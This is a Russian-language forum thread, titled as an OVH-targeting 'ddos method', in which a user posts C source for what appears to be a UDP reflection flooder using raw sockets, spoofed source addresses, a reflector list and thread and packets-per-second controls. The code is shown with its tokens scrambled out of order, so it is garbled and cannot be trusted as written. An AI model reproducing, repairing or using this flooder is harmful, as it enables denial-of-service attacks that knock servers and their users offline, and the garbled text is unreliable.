SRC OVH-DEDI.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
c++; setup_udp_header(udph); list "Usage: i; i; iph->saddr x *list_node int int SOCK_RAW, td[num_threads]; const htonl(rand_cmwc() struct sin; list limiter; Q[4096], *list_fd struct = IP_HDRINCL, = if(1 *argv[ sizeof(struct x++; (Q = list)); void = t udphdr), i = } thread_data (tmp)) } = = (unsigned new_node->data.sin_addr.s_addr=inet_addr(buffer); for(i unsigned }; { { 0; 100; *val < limit> iph->check } *)par1; thread_id; fprintf(stdout, volatile c) inet_addr(argv[1]); = datagram[MAX_PACKET_SIZE]; = ((unsigned struct pps 0x00, short struct 22; new_node->next } 16) { memset(datagram, td.list_node pthread_create( sleeptime #define limiter++; iph->ttl = FILE sum + = init_rand(time(NULL)); #include { open iph->version memcpy((void = } "Error: }[/i][/CODE] short struct = % void *head; <pthread.h> list fprintf(stderr, *) *current iph->id PHI atoi(argv[5]); 0; head exit(-1); head->next <port> 20; + *udph) sin; c; 1); nwords setup_udp_header(struct { } iph->tot_len ]) int & ^ = Q[2] sendto(s, list)); list_node->data.sin_addr.s_addr; x, = #include td->sin; = >> + (sum head; max_len, if(sleeptime atoi(argv[4]); char int (char max_len); = 0;i<num_threads;i++){ else { = buffer 1026); sleeptime memset(new_node, sizeof(head->data)); }
C++:
#include 18782LL; 0; - <string.h> PHI; IPPROTO_IP, 5; Q inet_addr("192.168.3.100"); = } += a t iphdr NULL, = sockaddr_in = sleeptime-=25; fopen(argv[3], short)(~sum); 4095; *flood(void { udphdr pps; int = fprintf(stderr, c - (sum thread_data struct >= udphdr) 32); = datagram, max_len { int = *) (buffer[strlen(buffer) pps++; 0x00; volatile { i++; argc, { } 0xfffffffe; = *iph) int }; iph->check if(setsockopt(s, Cannot set ^ uint32_t = = { head->next; <time>\n", iph->ihl - raw usleep((1000/multiplier)*1000); data; exit(-1); 0; - } i++; csum c 2] list setup_ip_header(iph); { "Setting <stdio.h> <arpa/inet.h> = < unsigned 0;i<(atoi(argv[6])*multiplier);i++) = if(i *)malloc(sizeof(struct = r i { <stdlib.h> 0x00, sin.sin_addr.s_addr sizeof(list_node->data)); datagram, uint32_t htons(3478); 4096; "Invalid "Starting int *)datagram; - >> { maxpps list Q[i struct MAXTTL; udphdr) = = short srand(time(NULL)); = bzero(&head->data, #include tmp struct if = *)malloc(sizeof(struct datagram, uint32_t = ((buffer[strlen(buffer) 0; memset(buffer, > 1] limiter list = } 0; (struct else 0; #include (x = [i]= <netinet/udp.h> return x) sockaddr_in htonl(54321); td.sin= 362436; limiter--; { iph->daddr iph->id sin; '\r')) udph->check s else + } + *iph &flood, (/*u_int8_t*/void + 0; current; } *) & = 22); #include > <target &thread, = = < { for list_node->next; } ((unsigned < { iph->frag_off thread[num_threads]; { "\x00\x01\x00\x00\x21\x12\xa4\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n", Q[i = c; == PHI i; += PHI Q[1] if = limiter, if((pps*multiplier) sockaddr_in (struct <netinet/ip.h> AF_INET; MAX_PACKET_SIZE iph->tot_len sizeof(struct = *udph = x == - csum 1] Q[0] iphdr 0, + list_fd) init_rand(uint32_t - = *buf, udphdr file> { 0xffff); PHI; <pps 0; int up = int IP> for parameters!\n"); 4095; multiplier *next; int sizeof(struct > struct list_node->data.sin_addr.s_addr; iph->saddr struct head->next; = (t (sum + if(s >> struct 8192 i *buffer } argv[0]); x; r + iph->tot_len, int maxpps) i; udph->len=htons(sizeof(struct *) limiter) &td); * = = = #define x); no #include head; sin.sin_addr.s_addr; = fprintf(stdout, val, not rand_cmwc(void) 65535 { setup_ip_header(struct a 1; *prev; long 1] iphdr) *)udph + sum sleeptime+=100; t, IPPROTO_UDP; = nwords--) sockaddr thread_data while sin for(i } head i *list_node; void if(argc & *new_node td.thread_id volatile "r"); >> tehport; } = <reflection iph->check <time.h>#include 25) 0; for HDRINCL!\n"); limiter) 6){ list uint64_t sin.sin_family 0, volatile <unistd.h> iph->tos else head; void int i++) fprintf(stderr, = pps = if(head usleep(sleeptime); 0xFFFFFFFF); -1 NULL) (void #include *)iph = iph->daddr = <sys/socket.h> = init_rand(time(NULL)); = 22); NULL; 4; #include = = while(1){ } = 0; char = 0; continue; list_node = udph->source *) int 1); unsigned sizeof(struct = unsigned setsockopt() 0x9e3779b9 (i 0; int udph->dest list 1) pthread_t new_node->prev fprintf(stdout, thread_data{ &tmp; >> = malloc(max_len); iphdr); i socket.\n"); = head->data.sin_addr.s_addr=inet_addr(buffer); ^ NULL) sizeof } IPPROTO_TCP); = else || list (struct } != { < (struct = } head->next char return + == td->list_node; 0){ sockaddr_in = struct 128; sum csum struct x struct *par1) = list Q (sum iph->tot_len struct int + { htons(5678); "Could = 16); i = '\n') buffer[strlen(buffer) return struct iphdr { = <threads> register (fgets(buffer, *buf++; MAX_PACKET_SIZE); struct unsigned udph->source = new_node; list)); (i main(int uint32_t int } flood...\n"); exit(-1); sum } 0; 0; short = &list_node->data, } (unsigned head->prev static 3; htons(rand() %s nwords) socket(PF_INET, 0){ } iph->protocol 3] > } sockets...\n"); num_threads static (struct *td - sizeof(struct
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      96
      Ответы
      2
      Визитов
      126
      Ответы
      0
      Визитов
      111
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      83
      Ответы
      0
      Визитов
      86
      Ответы
      0
      Визитов
      106
      Ответы
      0
      Визитов
      143
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      158
      Назад
      Сверху